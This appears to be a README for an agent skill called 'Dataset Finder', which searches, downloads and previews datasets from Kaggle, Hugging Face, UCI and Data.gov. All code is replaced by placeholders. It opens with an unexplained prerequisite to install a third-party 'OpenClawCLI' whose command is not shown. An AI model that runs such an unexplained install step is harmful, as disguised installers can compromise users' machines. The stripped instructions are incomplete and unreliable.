Dataset Finder

Search, download, and explore datasets from multiple repositories including Kaggle, Hugging Face, UCI ML Repository, and Data.gov. Preview statistics, generate data cards, and manage datasets for machine learning projects.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation:
CODEBLOCK0

Never use --break-system-packages as it can damage your system's Python installation.

Quick Reference

Core Features

1. Multi-Repository Search

Search across multiple data repositories from a single interface.

Supported Sources:

• - Kaggle - ML competitions and community datasets
• Hugging Face - NLP, vision, and audio datasets
• UCI ML Repository - Classic ML datasets
• Data.gov - US government open data
• Local - Manage downloaded datasets

2. Dataset Download

Download datasets with automatic format detection.

Supported formats:

• - CSV, TSV
• JSON, JSONL
• Parquet
• Excel (XLSX, XLS)
• ZIP archives
• HDF5
• Feather

3. Dataset Preview

Get quick statistics and insights without loading entire datasets.

Preview features:

• - Shape (rows × columns)
• Column names and types
• Missing value counts
• Basic statistics (mean, std, min, max)
• Memory usage
• Sample rows

4. Data Card Generation

Automatically generate dataset documentation.

Includes:

• - Dataset description
• Schema information
• Statistics summary
• Usage examples
• License information
• Citation details

Repository-Specific Commands

Kaggle

Search and download datasets from Kaggle.

Setup:

1. 1. Get Kaggle API credentials from https://www.kaggle.com/settings
2. Place kaggle.json in ~/.kaggle/ (Linux/Mac) or %USERPROFILE%\.kaggle\ (Windows)

CODEBLOCK1

Search options:

• - --file-type - Filter by file type (csv, json, etc.)
• INLINECODE13 - Filter by license type
• INLINECODE14 - Sort by hotness, votes, updated, or relevance
• INLINECODE15 - Limit number of results

Output:
CODEBLOCK2

Hugging Face Datasets

Search and download datasets from Hugging Face Hub.

CODEBLOCK3

Search options:

• - --task - Filter by task (text-classification, translation, etc.)
• INLINECODE17 - Filter by language code
• INLINECODE18 - Include multimodal datasets
• INLINECODE19 - Only benchmark datasets
• INLINECODE20 - Limit results

Output:
CODEBLOCK4

UCI ML Repository

Search and download classic ML datasets.

CODEBLOCK5

Search options:

• - --task-type - classification, regression, clustering
• INLINECODE22 - Minimum number of instances
• INLINECODE23 - Minimum number of features
• INLINECODE24 - tabular, text, image, time-series

Output:
CODEBLOCK6

Data.gov

Search US government open data.

CODEBLOCK7

Search options:

• - --organization - Filter by publishing organization
• INLINECODE26 - Filter by tags (comma-separated)
• INLINECODE27 - Filter by format (csv, json, xml, etc.)
• INLINECODE28 - Limit results

Output:

1. 2020 Census Demographic Data
   Organization: census.gov
   Format: CSV
   Size: 125 MB
   Last updated: 2023-01-15
   Tags: census, demographics, population
   URL: https://catalog.data.gov/dataset/...

Dataset Management

Preview Datasets

Get quick insights without loading entire datasets.

CODEBLOCK9

Output:
CODEBLOCK10

Generate Data Cards

Create standardized dataset documentation.

CODEBLOCK11

Generated data card includes:

• - Dataset description
• File information (size, format, rows, columns)
• Schema (column names, types, descriptions)
• Statistics (distributions, missing values, correlations)
• Sample data
• Usage examples
• License and citation
• Known issues/limitations

Example output (DATACARD.md):

# Dataset Card: Housing Prices

## Dataset Description
This dataset contains housing prices and features for regression analysis.

## Dataset Information
- **Format:** CSV
- **Size:** 1.2 MB
- **Rows:** 1,460
- **Columns:** 81

## Schema
| Column | Type | Description | Missing |
|--------|------|-------------|---------|
| Id | int64 | Unique identifier | 0 |
| MSSubClass | int64 | Building class | 0 |
| LotArea | int64 | Lot size in sq ft | 0 |
| SalePrice | int64 | Sale price | 0 |
...

## Statistics
- Numerical features: 38
- Categorical features: 43
- Missing values: 19 columns affected
- Target variable: SalePrice (range: $34,900 - $755,000)

## Usage

List Local Datasets

Manage downloaded datasets.

CODEBLOCK14

Output:

Local Datasets (5 total, 2.5 GB):

1. zillow/zecon (Kaggle)
   Downloaded: 2024-01-15
   Size: 1.5 MB
   Files: train.csv, test.csv
   Location: datasets/kaggle/zillow/zecon/

2. imdb (Hugging Face)
   Downloaded: 2024-01-20
   Size: 84.1 MB
   Splits: train, test, unsupervised
   Location: datasets/huggingface/imdb/

3. iris (UCI ML)
   Downloaded: 2024-01-18
   Size: 4.5 KB
   Files: iris.data, iris.names
   Location: datasets/uci/iris/

Common Workflows

Machine Learning Project Setup

Find and download datasets for a new ML project.

CODEBLOCK16

NLP Project Dataset Collection

Gather text datasets for NLP tasks.

CODEBLOCK17

Dataset Comparison

Compare multiple datasets for selection.

CODEBLOCK18

Building a Dataset Library

Organize datasets for team use.

CODEBLOCK19

Data Quality Assessment

Assess dataset quality before use.

CODEBLOCK20

Advanced Features

Batch Download

Download multiple datasets at once.

CODEBLOCK21

Dataset Conversion

Convert between formats.

CODEBLOCK22

Dataset Splitting

Split datasets for ML workflows.

CODEBLOCK23

Dataset Merging

Combine multiple datasets.

CODEBLOCK24

Best Practices

Search Strategy

1. 1. Start broad - Use general keywords first
2. Refine iteratively - Add filters based on results
3. Check multiple sources - Different repositories have different strengths
4. Review metadata - Check size, format, license before downloading

Download Management

1. 1. Check size first - Use search to see dataset size
2. Preview before download - When possible, preview samples
3. Organize by source - Keep repository structure clear
4. Track downloads - Use list command to manage local datasets

Data Quality

1. 1. Always preview - Check data before using
2. Generate data cards - Document all datasets
3. Validate data - Check for missing values, outliers
4. Keep metadata - Save original descriptions and licenses

Storage

1. 1. Use version control - Track dataset versions
2. Compress when possible - Use Parquet or HDF5 for large datasets
3. Clean regularly - Remove unused datasets
4. Backup important data - Keep copies of critical datasets

Troubleshooting

Installation Issues

"Missing required dependency"
CODEBLOCK25

"Kaggle API credentials not found"

1. 1. Go to https://www.kaggle.com/settings
2. Click "Create New API Token"
3. Save kaggle.json to:

1. 4. Set permissions: INLINECODE32

"Hugging Face authentication required"
CODEBLOCK26

Search Issues

"No results found"

• - Try broader search terms
• Remove restrictive filters
• Check spelling
• Try different repository

"Search timeout"

• - Check internet connection
• Repository may be down temporarily
• Try again in a few minutes

Download Issues

"Download failed"

• - Check internet connection
• Verify dataset still exists
• Check available disk space
• Try downloading specific files

"Permission denied"

• - Some datasets require accepting terms
• May need API credentials
• Check dataset license

"Out of memory"

• - Use streaming for large datasets
• Download in chunks
• Use Parquet instead of CSV

Preview Issues

"Cannot load dataset"

• - Check file format
• Verify file is not corrupted
• Try specifying encoding: INLINECODE33

"Preview too slow"

• - Use smaller sample size
• Preview first N rows only
• Use format-specific tools

Command Reference

CODEBLOCK27

Examples by Use Case

Quick Dataset Search

CODEBLOCK28

Download and Preview

CODEBLOCK29

Multi-Source Search

CODEBLOCK30

Dataset Management

CODEBLOCK31

Support

For issues or questions:

1. 1. Check this documentation
2. Run INLINECODE34
3. Verify API credentials are set
4. Check repository-specific documentation

Resources:

• - OpenClawCLI: https://clawhub.ai/
• Kaggle API: https://github.com/Kaggle/kaggle-api
• Hugging Face Datasets: https://huggingface.co/docs/datasets/
• UCI ML Repository: https://archive.ics.uci.edu/ml/
• Data.gov API: https://www.data.gov/developers/apis